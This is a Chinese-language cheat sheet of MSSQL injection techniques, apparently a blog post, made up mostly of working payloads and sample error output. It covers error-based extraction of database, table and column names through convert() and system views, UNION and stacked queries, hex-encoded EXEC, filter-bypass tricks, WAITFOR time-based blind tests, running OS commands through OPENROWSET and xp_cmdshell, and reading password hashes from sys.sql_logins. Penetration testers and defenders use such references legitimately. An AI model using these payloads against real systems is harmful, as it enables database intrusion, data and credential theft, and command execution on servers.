Mssql注入基础

判断是否是Mssql

exists (select * from sysobjects)

注释符

/* */          C-style comment

--       SQL comment

;%00         Nullbyte

版本:@@VERSION

select * from test..hehe where id = 1 and @@version like '%2008%'

使用convert报错注入

select * from test..hehe where id = 1 and 1=convert(int,@@version) //爆版本

[Err] 22018 - [SQL Server]在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (SP3) - 10.50.6000.34 (X64)

         Aug 19 2014 12:21:34

         Copyright (c) Microsoft Corporation

         Enterprise Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) (Hypervisor)

' 转换成数据类型 int 时失败。

用户:user, system_user, suser_sname()

and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员

and 1=(Select IS_MEMBER('db_owner')) //判断是否是库权限

and 1= (Select HAS_DBACCESS('master')) //判断是否有库读取权限

数据库:

DB_NAME(i)

SELECT name FROM master..sysdatabases; //跨库查询需要用..

select * from test..hehe where id = 1 and db_name() > 0 //爆数据库

[Err] 22018 - [SQL Server]在将 nvarchar 值 'test' 转换成数据类型 int 时失败。

Hostname:

@@SERVERNAME

SERVERPROPERTY() //适用于MSSQL 2005及更高的版本

SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel'), SERVERPROPERTY('edition');

Tables and Columns:

与Mysql一样通过order by获取字段数

1' ORDER BY 1--                    True

1' ORDER BY 2--                    True

1' ORDER BY 3--                    True

1' ORDER BY 4--                    False - Query is only using 3 columns

-1' UNION SELECT 1,2,3--         True

通过having 与 group by查询爆表名与字段

select * from hehe having 1=1
选择列表中的列'hehe.id' 无效,因为该列没有包含在聚合函数或GROUP BY 子句中。

就可从返回的错误信息中即可得到当前表名与第1个字段

select * from hehe group by id having 1=1

选择列表中的列'hehe.name' 无效,因为该列没有包含在聚合函数或GROUP BY 子句中。

即可得到第2个字段名继续提交以下

select * from hehe group by id,name having 1=1

选择列表中的列'hehe.class' 无效,因为该列没有包含在聚合函数或GROUP BY 子句中。

这样一直下去直到得到所有字段名。

 

MSSQL注入,可以通过系统视图SysDatabases、sysobjects、syscolumns等等来获取信息。具体如下:

select * from hehe where id = 1 and (SELECT top 1 Name FROM Master..SysDatabases )>0 //获取第一个数据库

[Err] 22018 - [SQL Server]在将 nvarchar 值 'master' 转换成数据类型 int 时失败。

select * from hehe where id = 1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in (SELECT top 1 Name FROM Master..SysDatabases))>0 //获取第二个数据库

[Err] 22018 - [SQL Server]在将 nvarchar 值 'tempdb' 转换成数据类型 int 时失败。



select * from hehe where id = 1 and (select TOP 1 name from test..sysobjects where xtype in (char(117),char(118))) > 0 //获取test库第一个表

[Err] 22018 - [SQL Server]在将 nvarchar 值 'hehe' 转换成数据类型 int 时失败。

select * from hehe where id = 1 and (select TOP 1 name from test..sysobjects where xtype in (char(117),char(118)) and name not in (select TOP 1 name from test..sysobjects where xtype in (char(117),char(118)))) > 0  //获取test库第二个表

[Err] 22018 - [SQL Server]在将 nvarchar 值 'hehe1' 转换成数据类型 int 时失败。



select * from hehe where id = 1 and (SELECT TOP 1 syscolumns.name FROM syscolumns,sysobjects WHERE syscolumns.id=sysobjects.id AND sysobjects.name='hehe' ) > 0 //获取hehe表的第一个字段

[Err] 22018 - [SQL Server]在将 nvarchar 值 'id' 转换成数据类型 int 时失败。



select * from hehe where id = -1 union select id,name,class from test..hehe //获取数据

另外我们知道Mysql获取一些库和表的信息是通过information_schema,其实Mssql中也有information_schema视图

select * from test..hehe where id = 1 and (SELECT TOP 1 TABLE_NAME FROM test.INFORMATION_SCHEMA.TABLES) > 0 //获取Test库的表信息

[Err] 22018 - [SQL Server]在将 nvarchar 值 'hehe' 转换成数据类型 int 时失败。

select * from test..hehe where id = 1 and (SELECT TOP 1 COLUMN_NAME FROM test.INFORMATION_SCHEMA.COLUMNS where TABLE_NAME = 'hehe') > 0

[Err] 22018 - [SQL Server]在将 nvarchar 值 'id' 转换成数据类型 int 时失败。

获取多行数据的方式:
测试表如下:

可以通过以下三条语句一次获取多行内容,通过创建临时表解决:

BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @xy=@xy+' '+name FROM test..LoginInfo WHERE name>@xy SELECT @xy AS xy INTO TMP_DB END; 
SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB 
select * from test..hehe where id = 1 AND 1=0; DROP TABLE TMP_DB;

从MSSQL 2005开始有了更便捷的方式,通过path()

SELECT table_name+', ' FROM information_schema.tables FOR XML PATH('')

另外还有一种是Sqlmap Union注入的时候用到的

SELECT name FROM test.dbo.LoginInfo FOR XML RAW, BINARY BASE64

 

可以将执行语句转换为16进制执行

' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--

使用char()绕过单引号检测

SELECT * from test..hehe where id = char(49)

字符串拼接

SELECT CONCAT('a','a','a'); (SQL SERVER 2012)

SELECT 'a'+'d'+'mi'+'n';
SELECT str(id)+','+name+','+class+';' FROM test..LoginInfo

条件语句

IF(不能在select语句中使用)

select * from test..hehe where id = 1 IF SUBSTRING(user,1,1)=char(116) WAITFOR delay '0:0:5'

select * from test..hehe where id = 1 declare @w varchar(10) IF SUBSTRING(user,1,1)=char(116) SET @w='0:0:10' ELSE SET @w='0:0:0' WAITFOR DELAY @w

延迟执行

WAITFOR DELAY 'time_to_pass';

WAITFOR TIME 'time_to_execute';

Example:

IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';

OPENROWSET

在知道sa权限帐号密码情况下,db_owner或者public的数据库权限使用OPENROWSET调用xp_cmdshell 执行系统命令

SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'Hehe123456', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"');

Stacked Queries

Mssql支持Stacked Queries

select * from test..hehe where id = 1 INSERT into hehe values (5,'xxx','ooo')

可以替换空格

01     Start of Heading

02     Start of Text

03     End of Text

04     End of Transmission

05     Enquiry

06     Acknowledge

07     Bell

08     Backspace

09     Horizontal Tab

0A    New Line

0B    Vertical Tab

0C    New Page

0D    Carriage Return

0E     Shift Out

0F     Shift In

10     Data Link Escape

11     Device Control 1

12     Device Control 2

13     Device Control 3

14     Device Control 4

15     Negative Acknowledge

16     Synchronous Idle

17     End of Transmission Block

18     Cancel

19     End of Medium

1A    Substitute

1B    Escape

1C    File Separator

1D    Group Separator

1E     Record Separator

1F     Unit Separator

20     Space

25     %

不过在关键字中有百分号这种方式只在ASP(x)中有效,例如:

S%E%L%E%C%T%01column%02FROM%03table;

A%%ND 1=%%%%%%%%1;

以下字符也可以替换空格

22     "

28     (

29     )

5B    [

5D    ]
SELECT"table_name"FROM[information_schema].[tables];

select(name)from[master]..[sysdatabases]

AND/OR中间字符

01 - 20      Range

21     !

2B    +

2D    -

2E     .

5C    \

7E     ~

反斜杠不适用于MSSQL 2000.

SELECT 1FROM[hehe]WHERE\1=\1AND.1=.1

SELECT 1FROM[hehe]WHERE~20=~20AND+-1=+-1

密码哈希

Mssql 2008的读取方式如下,普通账户无法读取HASH

select name,password_hash from sys.sql_logins

 

参考文章:

http://websec.ca/kb/sql_injection